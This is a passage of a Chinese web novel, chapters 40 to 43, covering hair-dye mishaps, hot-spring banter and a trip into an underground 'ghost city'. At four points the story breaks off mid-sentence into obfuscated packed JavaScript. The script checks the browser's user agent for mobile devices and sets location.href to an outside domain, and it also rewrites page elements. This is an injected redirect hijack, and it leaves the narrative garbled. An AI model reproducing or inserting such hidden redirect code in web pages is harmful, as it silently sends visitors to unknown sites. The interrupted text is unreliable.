花铁铁丛汤泉池子出来,不一会儿取来好些珍珠,研成粉敷脸,平安见了有些心疼的样子,我便取来更多的珍珠,也要研成粉给平安敷脸,敷脖子。平安觉得太过奢侈,舍不得,极力阻拦,说这些都是陛下新给我们的赏赐,可不能就这么用了。 我道:“有什么奢侈的?铁铁在南唐的时候,用的都是鸽子蛋那么大的南海珍珠,而且敷全身!” “啊,鸽子蛋那么大,南海珍珠,敷全身?”平安眼睛瞪得浑圆,如同她的嘴巴。 “对啊!”花铁铁对镜涂抹着珍珠粉。 我一边捣着舂臼,一边不经意的样子,道:“这些身外之物,对我们来说与粪土何异?我们都是有今天没明日的江湖人,有了钱,不赶紧享受,还等什么,等死了陪葬吗?那也有给人挖坟掘墓盗走的一天啊,所以活着一天就逍遥一天,钱嘛,屎嘛,花嘛,没钱都不能苛待自己,让自己受委屈,有钱还不可劲儿往自己身上花啊,不然人死了,钱没花了,便宜自己人倒算了,便宜仇敌,岂不懊悔?!哦,那时候都死了,死了就啥也不知道了,大概也没啥好懊悔的了,所以还是得趁活着,活着的时候最重要!” 平安顿了顿,吟诵道:“及时行乐,人生得意须尽欢,莫使金樽空对月?!” “对对对,就是这个意思,趁着还没死,赶紧的及时行乐,得意的时候就得尽情欢快,没酒了想起对月畅饮了,晚了,就算是个金杯子,有什么用?平安你好文采啊,你这般才学,还读什么书啊。”花铁铁赞叹不已,对平安投来敬佩的目光。我们江湖人,对读书人,打心底就天生存在一种另眼相看的尊重。 “她不用,你还不用吗?”我奚落道。 花铁铁吊儿郎当地为自己开解,“哎,我都低俗成这样了,读书对我已经没有任何拯救的意义了。你倒是还小,小小读书郎,读书要趁早哦。” “滚!” 我就知道她三句两句不揶揄我,她就浑身难受。 40. 染发膏 入夜,平安辗转反侧,我们问她想什么呢? 她说了一段让我终生难以忘怀的话:“女子的高贵和贞洁从不在罗裙之下。我希望有一个时代,女子的灵魂和肉~体不在受困于世俗偏见的樊笼枷锁,能真正的成为活在阳光下的强者。” 随后她忽然缩起身子团成一团,卑微痛苦地战栗道:“可我首先就做不到,我只是语言上的巨人,行动上的矮子,我就只会想只会说,始终都不能勇敢的跨出第一步,我自己就在这千百年来禁锢女子思想的束缚中出不来,湮灭在肉~体无尽的羞耻感的泥淖中挣扎着沉没……” 我和花铁铁轻轻安抚着平安,什么话也没有说,花铁铁不知道该说些什么,我甚至都不太确定,她是否能听明白平安那些晦涩难懂的话语。 而我仿佛感觉到了什么,却只能单纯的沉默,我想平安一定有什么难以启齿的事情,成为一块不可触碰的心疾,但我相信她一定能战胜所谓的羞耻感,坚信总有一天她能坦然面对内心深处的胆怯,彼时她就是那个她希望的,活在阳光下的,真正的,强者! 平安哭着哭着就睡了,看着她梨花带雨的美丽容颜,我陷入沉思,我反复回味着平安的话:女子的高贵与贞洁…… 是,韩燕熙对吧!?我就知道平安和他之间,没那么简单。我看着平安手臂上,鲜艳的守宫砂。心,安定,于是安眠。 后来我在整理平安遗物时,发现当年平安在她的小札里写到:“我之所以痛苦,还是因为我活得太清醒,世上所有的女人都活在只为女人特制的,名为“贞洁”的枷锁里,没有哪一个女人可以幸免,就算是花铁铁,甚至长安,也不例外,她们自始至终,都认为花铁铁的小师妹有且只有,或杀或嫁两种选择。 不可否认她们身为女性,同情女性,对同性天然的善良,使她们能够设身处地,思此及彼,感同身受,却也仍然无法冲破思想的壁垒,始终都没想过第三种可能!这是她们的局限和悲哀,归根到底更是时代的局限和悲哀! 而最最悲哀的,其实是我,因为即使我有幸冲破这个时代的局限,独立于外,有着领先千年的思想,我依旧无法解脱束缚。她们的可悲来自于不自知,但有朝一日她们一旦觉醒,一定会击碎枷锁一飞冲天,而我因是清醒的,于是可以断定我的可悲,完全来自于我本身的懦弱无疑! 我曾因为自己的特殊经历,高傲地凌驾于这个世间之上,睥睨凡人。如今我清晰地感觉到自己如此弱小,竟然无能为力到如尘埃一般卑微。 好吧,我承认自己的胆怯,软弱,于是我寄希望于长安和铁铁,我衷心的祝愿她们能够成为这个时代的新女性,引领数以万万的我这样匍匐于地卑微苟活的女子,堂堂正正的站起来……” 于是当我合上小札,将其封存后,我做了一个影响千秋万代的决定!当然,这是后话。 花铁铁为了驯服小黑,还是付出了代价的。屁股和小胯被颠的淤青发紫,她嘴硬得很,说不影响行动。只是这几天她都没再去上林苑骑射了。 天气越发酷热,平安因为贪凉,总央求着花铁铁用内力给她做冰镇冷饮,结果中阴暑,呕吐腹泻恶寒,折腾了一整宿,难受得紧,我便采了一些香薷薄荷给她做了香薷饮。她喝了,果然见效。身上爽快,就开始犯困,我又取来白芷、苍术、丁香,做了一些调理脾胃的简易香袋,放在她枕边,让她闻着入睡,协助治疗。 柳延年听说平安身子不舒服,下了值就过来探视。他说以后只有他的妻子才能叫他花郎,于是我们都改了口叫他柳延年,毕竟谁也不愿意做他的贱内。 他来的时候平安还没醒,我和刘橡在外间翻阅民间志怪书画本子,柳延年跟着看了几眼,就说里面的故事没啥意思,在我的激将之下,他一副大展身手的样子,给我们讲起了“聊斋志异故事”。 柳延年是个讲故事的高手,绘声绘色,如临其境,光怪陆离,精彩的故事一个接一个,听得我们既恐惧,又兴奋,人呢听鬼故事的时候,就是这个样子,越害怕越想听,越想听越害怕,我和刘橡瑟瑟发抖地躲在齐王惠王身后,相互抱着依偎着,一边嚷嚷着害怕,一边瞪着精光的小眼睛,听得聚精会神,花铁铁嗑着瓜子,嘲笑我们两个胆儿小…… 平安醒来后,慵懒地听了一会儿,扶着头轻轻道:“花郎,大橡才好些,你还是讲新编的吧,老版的太吓人了,听说真的吓死过人呢。” 我们闻言都愣了一下,新编?老版?还有花郎…… 不等我们询问,也没等我们和她说明柳延年名字的事,平安就又翻身昏昏沉沉睡下了。后来,平安也一直没改口,柳延年也没特别提及,我们只当兄妹之间这样称呼也可以。 惠王认定柳延年讲的聊斋志异故事,大抵和《金庸》一样,又是平安收集的那些残卷典籍里的,便跟柳延年借来看,柳延年打哈哈说是在书摊上租借的,下次若是能再遇上了,一定给惠王留心。 我知道其中内情,就说鬼故事还是大家一起听有劲儿,一个人看有什么意思,再说都是妖魔鬼怪,一个人看多害怕,晚上会睡不着觉的。齐王很赞同。 于是,我们继续听故事,直到晚膳,平安才复又睡醒,进了一些餐食,总算有了精神,加入到讲故事的行列,她虽然只起到补充说明的作用,但女性独有的感性和视角,却让故事更加生动感人了。 后来,我们吃着宵夜,茶点,吵吵闹闹,竟然通宵达旦,直至鸡鸣天亮……那时候到底年轻,身子壮实,熬夜也不在话下,第二日早膳前,我们随意挤在榻上,小憩了一会儿,便精神抖擞的迎接新的一天。只有刘橡没醒来,又昏睡了两天…… 也是那一晚,我们开拓了新视野,狐妖,鬼怪,人性…… 乍一卸去政务,接连几日静心修养,无所事事,在汤泉宫实在是闲得无聊,刘景就下诏摆宴,搭戏台子,上演协律郎柳延年的新剧《神话西游》。 我和花铁铁脸上的锅底灰终于褪去了,脸上有了气色,整个人看着就精神多了。 神话西游里的鬼怪妖精也不少,开戏前,众位角儿们都在后台装扮。 我和花铁铁、平安三个就溜进后台看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我们被乐府府正,“友善”地请出了后台化妆间,等柳延年和平安出来找我们的时候,我和花铁铁蹲在大殿后的莲池边,用光了两大桶卸妆油,都快把脸洗秃噜皮了,跟他们抱怨这个油彩太难洗了,简直比锅底灰还难洗。 平安一边不可置信地说着不难洗啊,一边走上前来帮忙。 柳延年看着我们愣了一下,一脸大事不妙的样子,转身回到化妆间,须臾跌跌撞撞慌里慌张地端着我们刚才用的那箱子“油彩”跑来,大惊失色地问道:“你,你们是不是用的这个?” 我和花铁铁点点头,看着原本满满当当的,现在不仅都被我们挖空了,还混色了的瓶瓶罐罐,一脸心虚胆怯,低着头,像犯了错被抓现行的孩子。 花铁铁还给自己找补,说就是好奇,用了一点儿。平安和我,简直怀疑花铁铁的眼睛是不是出问题了,那是用了一点儿吗? 见柳延年没反应,花铁铁继续硬着头皮犟嘴说,不就是用一下吗,有什么了不起…… 柳延年回过神来,木然道:“没什么了不起,但,这是染发膏!” 41. 群嘲 “不会吧,花郎,你真的把染发膏做出来啦?!我的天,染发膏你也做得出来啊,花郎,你太棒了!”平安眼睛一亮,跑过去看着那些瓶瓶罐罐,惊叹道,随即想到什么,转身瞪着眼睛,看了看我和花铁铁,捂着嘴巴,倒吸着凉气,“啊!!!哦么么,如果这个是染发膏,那……那她们……岂不是……” 柳延年同情的看了我们一眼,又确定地对平安点点头,然后又看了看我和花铁铁,最后躲到平安身后,怯怯地绝望道:“救我!” 大殿中,神话西游开锣上演,但是我和花铁铁因为妆颜惊悚,仪态有失,未免我们御前惊扰皇帝,金吾卫大将军李远直接下令将我们驱逐,不许面圣,于是我们四个,在殿外的石阶上,垂头丧气的蹲成一排。 大概看着像拉屎一样十分不雅,李远又冷声呵斥,把我们驱赶到更远一点的地方,他撵一声,我们挪一下,撵一声,我们挪一下,直到我们拐到大殿侧面,他在正殿门口看不见为止。 以前混江湖的时候风风光光的,现在到皇宫了,反而落魄至此!我难受的不行。 “花铁铁,我现在总算明白为什么明明世人都说邪不压正,但偏偏又总有道高一尺,魔高一丈的说法了。”我低着头,幽怨地发着牢骚。 花铁铁也同我一样低着头,同样有气无力的幽幽地问:“为什么?” 为什么?!好你个大虎叉,你还有脸问我为什么? 哼,当然是,“因为你克我,花铁铁,自从你来了,我就觉得,没有什么困难是战胜不了我的,困难总比办法多。”我咬牙回复。 “……”花铁铁闻言侧头看了我一眼,刚要恼火犟嘴,下一瞬却忍不住噗嗤一声笑起来,她还有些理智在,觉得不合时宜,于是就又是捂嘴又是咬唇,掐脸,咬胳膊……一百个方法,企图忍住,但抖动不止的身体,还是无情地将她出卖。 看吧,困难,总比办法多!我斜眼狠狠剜了她一下!!! 良久,她才平静下来,却别过头去,只敢用后脑勺对着我道:“长安,你变了,真的变了,你以前,最不怕困难,什么困难都难不倒你,可你现在……变了,变得我都不认识了。” 以前是我年轻,太无知了,不知道能吃苦,就有吃不完的苦,不怕困难,就有数不完的困难!我现在是成熟了不少,可若说我变了?那特么简直就是放屁,这么多年咱们这些人里,唯一,一直没变的就是我了好吧!?还变得你都不认识了?!“你特么不认识了,是因为我变了吗?我草你爹行不行,被你画成这样,我特么自己都不认识我自己了,你问他俩,我不出声,能认出是我吗?”我面无表情,冷冷地道。 花铁铁侧头看了我一眼,一个字都没来得及反驳,就又开始像羊癫疯一样抽搐着抖动身体,最后她只能抱歉地把头埋在双腿之间,呜咽哭泣…… 柳延年和平安已经忍笑忍得泪流满面,瘫坐在地了。 以前就数平安的画工是最差的,但之前给我化的那个妆,起码还能看出来是个熊猫,可是这个花铁铁,手笨的和脚趾头似的,简直……哎,不说也罢。 柳延年和平安哭着(笑哭的)说我比“东成西就”里的欧阳锋还惨,太惨了。随即他们十分同情地又啊哈哈哈,呜呜呜,哈哈哈的哭笑起来…… 我伤心极了,没有哪个女孩子是不爱惜自己容貌的,“呜呜呜……我都说了,不要乱动那些没开盖的,梳妆台上的油彩不够用吗?大虎叉你非是不听……呜呜呜……” 花铁铁听我骂她大虎叉也没生气,只怯怯地给自己开脱:“我,我不是看着那里面的颜色怪好看的吗,而且全新的没人用,用平安的话儿说也卫生不是?” “你滚,你滚,我再也不要理你了……呜呜呜……”我不愿和花铁铁蹲在一起,说着便起身跑到柳延年身边蹲下,问道:“……柳延年,我们这确定是洗不掉了吗?” 柳延年捂着笑疼的腹肌,都不敢看我,也许是因为安慰我,他斩钉截铁地说了一个“能”字,然后又心虚的样子,不敢保证地补充道:“不过染发膏劲儿太大,比油彩着色力强,怎么也得等个十天左右吧!最少十天!” “啊……”我倒吸了一口凉气,瞪着大眼睛,配上滑稽惊悚的妆扮,像一个没修炼好就化成人形的肥嘴胖头鱼,给柳延年看得一个激灵,旋即又开始无法克制地发笑。 过路的宫人,侍卫和乐人,看见我们也都是先吓了一跳的样子,然后强忍着笑意,抖动着身子快步离开…… 好伤心,好难过,我拿着小帕子,抹着眼泪擤着鼻涕哭唧唧,“嘤嘤嘤……好不容易锅底灰才褪干净,又要十多天……花铁铁,你还我盛世美颜……” 花铁铁伸头隔着平安和柳延年,强装坚强地看着我道:“又不是只你一个人,有我陪着你,你这么伤心干什么?你哭什么?!”随后她缩回身子,嘟囔,“就十天,而已,十天很快就过去了……最少十天……”下一刻就传来她的哭声,“……呜呜呜……” “滚!有本事你也别哭啊?呜呜呜……”我站起身指着花铁铁斥责,哭泣。花铁铁也起身指着我,要和我硬刚,可当我们看到彼此的大花脸时,所有的坏心情一下就被视觉的冲击冲淡了,指着对方,吵架的话是一个字都说不出了,只有……“啊哈哈哈哈……呜呜呜……啊哈哈哈……呜呜呜……” 我们就这样笑着哭,哭着笑…… 直到惠王和齐王出来找我们,听见他们叫我的名字,我们赶紧背过身去列队蹲好。他们寻来,问我们蹲在这里干什么,说第二幕演出就要开始了,叫我们赶紧进殿。 柳延年和平安起身给他们行礼,然后在一边默不作声。齐王和惠王在三叫我们,接着似乎有些担心,关切地问我们怎么了,是不是又闹架了云云…… 经过一番心理斗争,我和花铁铁才毅然决然地转头看向他们。 只见他们先是吓得一哆嗦,甚至往后撤了一步,然后定睛一看,确定是我们,才又眯眼深深地盯着我们仔细看了又看,接着在噗嗤一声后,像是被点了笑穴,笑声一泻千里,不可收拾。高高再上的亲王,完全失去了自己对表情的控制,曾经所谓的端庄持重,此时荡然无存…… “啊哈哈哈哈哈……哈哈哈哈……” 平日里仪态万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686557|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千循规蹈矩的他们,彼时笑得前仰后合,涕泪横流。要是就这么没心没肺的笑下去,还好了。偏偏笑得肚子抽筋儿,却还尚存理智,他们努力克制,尽量隐忍,又实在忍不住,脸上不住地抽搐,愧疚抱歉等好多种情绪转化的表情揉和在一起,让他们俊美的容颜几乎扭曲……最后他二人只能背对着我和花铁铁,扶墙而立。 于是咧着嘴哈哈大“哭”的队伍里,除了平安和柳延年,又多了两个傻大个儿。 大概是我们在外头的动静闹得太大了,我们所在的大殿侧面里间,恰巧是刘景的恭房,他此时正更衣方便完,循声推开窗户,看着我们六个人蹲成一排的背影,不怒自威地问道:“你们在这里闹什么?” 除了我和花铁铁,其他四人赶紧转身跪拜行礼。 刘景看他们慌里慌张的样子,也不叫他们起来,只敲了敲窗台,清了清嗓子。我和花铁铁知道这是在点我们,于是对视一眼,缓缓转身…… 刘景看清我们俩儿后,微微顿了一下,我分明看见了他慢慢睁大的眼中,缓缓溢满的惊悚,下一刻,他面无表情地快速决绝地,将窗子“唰”的一声合上,动作干净麻利,无不彰显他帝王般的冷酷无情和……嫌弃…… 正当我伤心不已地,过分解读帝王不同常人的情感时,窗户忽然又“唰”地一声被推开了,此时刘景像个天真烂漫的少年郎一般,伏在窗台上,捧腹大笑起来,笑声中气十足,如雷鸣一般,“啊哈哈哈哈……”诸般反应,竟和齐王惠王毫无差别。 能博君一笑,我和花铁铁夫复何求?!嘤嘤嘤…… 得到皇帝的特许,我和花铁铁趾高气昂地,从脸上不断抽搐的大将军李远面前经过,在他的注视下昂首挺胸走进大殿。 不得不佩服乐府的角儿们,台下的我们比台上的他们还精彩夺目,他们居然能忍着不动声色把戏唱完,直到散场,才在后台讨论哄笑着哈哈起来。 他们演得真好,我和花铁铁都爱上了齐天大圣至尊宝。打算等我们脸上的妆褪了,一定要去乐府找那个角儿坐一坐。 花铁铁重复这剧中的台词:我的心上人是一个盖世英雄,有一天他会身披金甲,驾着七彩祥云来娶我…… 随后花铁铁便双手托着脸,星星眼,陷入自己给自己织造的幻境,沉醉其中。 我知道她脑海中的盖世英雄,是什么样子,心中不禁也试着描绘了一下,嗯,是挺帅的,可惜,人已经不在了!永远只能出现在我们的想象中了…… 平安只道她才不要什么盖世英雄,最简单的感情才是最好的,她不要轰轰烈烈,她只要她的郑清,只要和她的郑清生儿育女,平平淡淡,安安稳稳一辈子,就好。她这般轻易地说着,仿佛所有的幸福都会被预期。 我也想要一份简简单单的感情,平平淡淡的生活,可是,老天好像把我给忘了,忘记让我长大了,于是有些自然而然的事情,忽然就变得那么艰辛,寸步难行。 连个像模像样的年华都没有,何谈感情!?我看着西边美丽的晚霞,伤感的叹了口气,劝自己赶紧收起那些,根本和自己毫无干系的不切实际的幻想。 42. 鬼城 花铁铁似乎看出我的心思,从我身后抱住我,在我耳边低声:别伤心,会好起来的,一定会好起来的。她又为之前那些揶揄奚落揭我伤疤的话道歉,说她也不知道自己是怎么了,明明知道哪句话我不爱听,可每次她一张嘴,偏偏就…… “长安,我真不是故意气你的,我每次都在心里告诉自己要好好对你,心都答应我了,可是……” “可是嘴不答应,每次都是哪句能气死我你就非要说哪句不可!”我倚在她怀里哼哼道。 “不许你跟我计较哦,我身上也不都是缺点,嘴是坏了点,但我脑子灵光啊,要不是我脑子灵光向陛下要了个更衣的身份,你也不能跟着蹭一个药郎当,对吧?”花铁铁硬给自己找闪光点。 我的药郎是陛下看在我的功绩和能力给的,至于你的更衣,那完全,根本只是单纯的脸皮厚,跟脑子灵光有什么关系? 你是怎么就认定你得了个更衣,是因为自己脑子灵光,而不是我珠玉在前,人品作保,上位者看在我的面子上赏你的? “你脑子灵光?啊哈哈哈,简直笑死我了,瞎说什么大笑话!你脑子灵光,能把厨房炸了,弄咱们一脸锅底灰,你脑子灵光,能把染发膏抹脸上,搞得咱们人不像人,鬼不像鬼……呜呜呜……我不要和你说话了,滚……”我本来还在嘲讽花铁铁,说着说着说到了伤心处,悲戚不能自已地骂了一声,挣开花铁铁的怀抱,跑开了…… 花铁铁看着我的小身影,对着身边的平安道:“我就总有个地方理解不了,长安每次叫我滚,完了,她都自己滚!” 平安忍俊不禁,团扇遮面,呵呵笑了起来,然后牵着花铁铁,小跑着追上我…… 我们一路追追赶赶,吵吵闹闹,说说笑笑,回到潇湘馆。先将晾晒好的合香珠收起来,就宽衣解带泡汤泉,洗去一身燥热。 花铁铁踢着水花忽然突发奇想问我们:“都说伴君如伴虎,虎为百兽之王,但虎毒不食子啊,我想着我这性子,指不定哪天就闯个塌天大祸,那可怎么办?所以我要是能给陛下生个猴子,到时候,陛下看在孩子的面上也能放我一马不是?哎,你们说,我去爬龙床,做皇帝的妃子怎么样?” 这么多年了,我还是对花铁铁想一出是一出的做派,感到十分不适。 “陛下可不缺你下的猴砸。”我认真搓洗着自己的小胳膊小腿,奚落她:“知道自己什么性子,就想着怎么收敛一下,人家生孩子都是疼爱有加,你生猴子,就是为了防备自己闯祸,给自己挡灾啊?怪不得老是猴子猴子的,那确实是没当个孩子啊!” “猫养的猫疼,狗养的狗疼,我生的我自然是疼爱的。我上次是说劈岔了,这次是因为我家大圣,故意把我家孩子称作猴子的。”花铁铁在池子里扑腾着大长腿,“猴子,猴子,我要生猴子,生好多猴子,许许多多的猴子!”说着还学着齐天大圣的样子,假意拔了自己一撮毛,吹了一下。 平安也受不了花铁铁那般疯癫的想法,却只平心静气的问:“你之前不是看上太子殿下了吗?还给自己想了个东宫铁妃的封号,还说什么铁生锈,给你们的孩子取名就叫刘锈,怎的忽然又要做陛下的妃子了,该不会还是铁妃,孩子还叫刘锈吧,但是陛下的皇子都是从木的。” 花铁铁闻言爬在池子边,认真地问我:“一个木加一个秀是什么字,怎么念?还念秀吗?” 我踢了一个水花在她脸上,厉声警告她说:“你胡思乱想也要有个下限,人俩可是感情很好的父子,你可给我赶紧打住吧你!再说陛下的龙床是你想爬就能爬的啊,那是天子,天子!能伺候天子的必须都是身家清白的良家子,咱们这种江湖女子,和良字就不沾边,第一个就不通过,身上不知背了多少人命,手上全是血,还爬龙床给陛下做妃子?你快醒醒别做梦了。” 花铁铁抚了一把脸上的水,向后一倒一边仰泳,一边吊儿郎当地说:“知道知道,我这人还是事业心比较重,别说铁妃了,就算给我封个铁皇后,也不如给我大将军当当!” 哼,反复无常,说明真的动心思了。我还不知道你吗,大虎叉?!我心中腹诽,又不禁细细琢磨。 花铁铁原本是属意太子的,之所以又打起了皇帝刘景的心思,是因为太子那样的人,对我们来说,实在太过圣洁了,如果一个男人一旦过分圣洁,一尘不染,就会让我们这样的女人产生极度的自卑,而这对于向来自负的我们来说,是绝对不能容忍的,于是我们会对太子那样的男人,瞬间失去所有幻想,什么心思都没了。 反观刘景接地气儿的很,总是乐呵呵的平易近人,对我们热情宽厚,包容宠溺,从小就没爹没娘的花铁铁,乍一感受这般温情,自然会感觉很喜欢很亲近。 而且男人四十一枝花,刘景正是男人魅力的巅峰期,花铁铁又恰恰是青春正好,情窦初开的花季少女,当然会…… 嗯?情窦初开?不好!花铁铁该不会是……我草,那我家堂邑夫怎么办!?他最近废寝忘食的准备学宫大考,不能老来我们跟前露脸,我还信誓旦旦的叫他放心,会帮忙看着花铁铁,这下可如何是好!? 高度的警觉,让我浑身起了一层鸡皮疙瘩,心中默念道:稍安勿躁稍安勿躁,先观摩观摩看看吧,花铁铁那种东一榔头西一镢头的性子,什么都还说不准,而且感情是不能阻拦的,越阻拦越坚定。再者花铁铁原本可能都没有确切的想法,我别再因为要防患于未然,上赶着去掐死小火苗,反而弄巧成拙,给她提了醒,就不好了。 赶紧给花铁铁找点事干,转移一下注意力。“铁铁,我之前不是说,让你休息休息玩一玩嘛,现在看来是我欠考虑了,你呢,只有忙起来的时候,眼里才充满智慧的光芒。” 花铁铁倚在池子边上,吃着平安喂过去的果子,哼了一声不理我。见我半天没动静,也不往下说,就终于忍不住倨傲地问:“有什么事,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不去,我可不去,我害怕!”平安怯怯地抱了抱臂,道:“那地方听着就阴森诡异,恐惧的很,我看非必要,你们还是别去了,缺什么就跟陛下要,什么样的兵器陛下没有,不比那个什么鬼城靠谱吗?” 花铁铁啧了一声,有些扫兴道:“怕什么啊?不过都是人待的地方,都是一群不敢活在太阳底下的人,有什么好怕的。什么都跟陛下要多没趣儿。再说,自古以来好东西都在地下,上千年前那里可是祖龙的帝都,多少宝藏随着一起沉下去了,好玩意儿可不少呢,你不想去开开眼啊?” 以前我们在江湖上闯荡,也接过不少盗墓倒斗的单子,在土里见的珍贵物件多了,于是自然而然就形成一个共识——好东西都在地下,并且深信不疑。 我本来也不打算带着平安,又见平安实在害怕,就跟花铁铁打哈哈道:“咱们先探探路,要真有什么稀奇古怪的好玩的,又没啥危险的话,下次再带平安一起去。” “我也想去……”忽然,内室角落里传来刘橡幽幽的请求。 43. 青铜门 姑娘们瞬间慌了,大叫着手忙脚乱起来…… 啊,刘橡从早上昏睡过去,就一直在内室躺着睡觉来着,我们竟把他给忘了。他到底什么时候醒的,醒了多久了,我和花铁铁居然一点儿没察觉…… 三人慌里慌张穿好衣服,把怯生生的刘橡从内室拉出来一顿盘问,确定他什么都没看见。 刘橡老实交代说他刚刚醒来,知道我们在泡汤泉,就有意回避不曾出内室半步,只听见我们正说起长安鬼城,想到昨晚聊斋志异里的故事,才按捺不住好奇问出声的,想跟着我们一起去玩玩。 “长安,我也想去。”刘橡复又恳切的请求。 我拍了拍他的肩头说我们先去探探路,看看什么情况,要是好玩的话,下次再带他和平安一起,要是不好玩又很危险,就不再去了。然后打发他回自己院子赶紧吃完晚饭,喝完药,接着睡。刘橡颔首乖巧懂事的拱手行礼告辞。 花铁铁感叹:“七皇子是好很多了哈,还知道避忌男女之防,要搁在以前,咱仨儿非全给他看光了不可,说不准受刺激疯起来,把自己扒个精光,跳水池子里了,到时候也别想着爬陛下还是太子的床了,直接都是七皇子的人了。” 平安蹙眉不语,显然对花铁铁的话感到十分不适。 “快闭嘴吧,什么乱七八糟的,胡说八道什么?天天想着爬床的人是你,跟我和平安什么干系,再说我们大橡知书达理得很,以前人就知道男孩子不能看姑娘家身子。”我替刘橡发声。 花铁铁见不得我向着别人,不向着她的样子,不屑地嗤鼻道:“切,真要是看着了,我和平安我们也无所谓,顶多就是拉屎给人看了屁股的程度,只要我们不要脸,这事就当没发生,倒是你,你在他心里那可是个小子,要是给他知道你骗他,你猜他会怎样?”平安的脸色随着花铁铁的话语转变。 我听到最后,心中一敛,旋即更加安心地确定道:“那咱家大橡肯定是一点也没看到。” 平安思量了一下,觉得很有道理。花铁铁也点点头。 我们一致认为,刘橡要是看见了,肯定不会那么若无其事,就算不闹,也得刨根问底儿。他那么平静,肯定是什么都没有看到,我们担心的太多余了。我们相信他的人品,更相信他的反应。 “可是……”平安忽然不解地指了指我和花铁铁的大花脸,道:“可是你们这样子,大橡都没什么反应哎。” 对啊!刘橡的反应也太…… “病还没好利索呗,所以反应和常人还不太一样。”花铁铁倒没觉得是什么大问题,把衣服一脱,又跳进汤泉池子里。 我正凝眉思考,不得其解,听花铁铁这么一说,顿时觉得她说的话有时候还挺有道理的。病人嘛,反应总是和常人不同的。 我和平安也脱了衣服下水继续泡澡,忽然花铁铁浮出水面,突然想到什么似的,故作庆幸地拍着雪脯道:“哦呵,看了也没关系,毕竟我们长安没啥好看的,正面背面都一样,对吧!?” “滚!”我气得一拳打了一个巨大的水花泼向花铁铁。 花铁铁自然是要回击的,平安自然要护着我,于是我们三个嘻嘻哈哈打起水仗来,女孩子打水仗要比男孩子温柔多了,光听笑声就让人心情舒服愉悦。 不一会儿我们玩累了,就靠在池子边上休息,慵懒的平安,忽然惊坐而起,问道:“长安你作为男孩子,和我们一起泡汤泉,这件事儿大橡居然也不奇怪哎。” 花铁铁抢先一步回答:“这有什么大惊小怪的,长安只是小屁孩儿,跟着姐姐们一起洗澡,也是常理,有什么好奇怪的,这点常识你家大橡应该是懂的,他就是有点疯闹癫狂,又不是痴呆智障,基本认知和常人应该无异。” 我觉得花铁铁说得甚是有理,平安也打消了不安。 因为没看到我们光身子,所以没反应; 因为对我们的大花脸没反应,所以病没好; 我这个小子和两个姑娘一起泡澡,他也不奇怪,是因为智力没问题,有基本常识。 当时我们完全没觉得这些推论,有什么不符合逻辑的地方,反而觉得很正确很正常,于是对刘橡非常放心。 下鬼城是要有人接引的。 子夜,堂邑夫带着我们先是在长安鬼市找到接头人,长安鬼市不同于长安鬼城,鬼城在地下,鬼市则是长安西北城郊,一处鱼龙混杂,藏污纳垢,走私贩卖,进行各种不见光的交易的黑市。 接头人带着我们来到一处很大的破庙,破庙阴森可怖的正堂中,供奉着不知名的陈旧破损的神祇塑像,神像下面有一个机关小门,门后是仅一人可同行的下行隧道,我们依次而入,大约几十步后,里面空间豁然开朗。 映入眼前的是一口直径十多米,不可见底的深井,阴风从深井之下吹将上来,仿佛还夹带着怪异的嘶吼,让人不寒而栗。 深井壁挂着一圈一圈的旋梯,我们要通过层层旋梯,下到地下深处,中途听到有水流瀑布声,猜测可能是地下暗河,接头人禁止我们交流,闷头带着我们继续一路向下。 不知多久,我都有些转得头晕了,才终于下完旋梯,跟着又进入一条一人通行的隧道,行了数十步,出了隧道,只觉眼前分外开阔,高山原野,别有洞天,竟与陆上无异,根本不像是深在地下。毕竟地下应该都是土,哪能有这么大的空间啊。 我仰头看向所谓的天空,只觉那穹庐之顶,像是一块儿巨大的宝石雕琢的碗,像个罩子一样倒扣下来,发出荧荧之光,像如水的月色一般浸泡一切。 想着之前我们听到水流声,我越发觉得我们像是在一个巨大的湖底,可若是在湖底,那水是为什么像天河一样悬于头上呢?难道那就是传说中的结界? 我只觉胸中词穷贫瘠,看了看花铁铁和堂邑夫呆傻的表现,便知道自己也好不到哪里去。想着回去还要多读书,多长见识。 走着走着,忽见一庭院,灯火通明,里面歌舞升平,我们以为这就是鬼城了,正要昂首挺胸,一副气度非凡的样子,抬步进去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花铁铁讨厌堂邑夫卖关子,小声嘟囔着嗤嗔。我只道我家大螳螂做事儿就这风格,爱起范儿,扮酷,耍帅,装深沉,弄玄虚,江湖上有几个不好这口的,杜晦也深谙其道,可在这个劳什子的鬼城面前,简直小巫见大巫。 堂邑夫上前将三袋金子,扔在地上,那引路人竟然隔空取物,将金子收入宽大的黑袍之中,在我们三人故作镇定的眼神中,转身招了招手,让我们跟上。 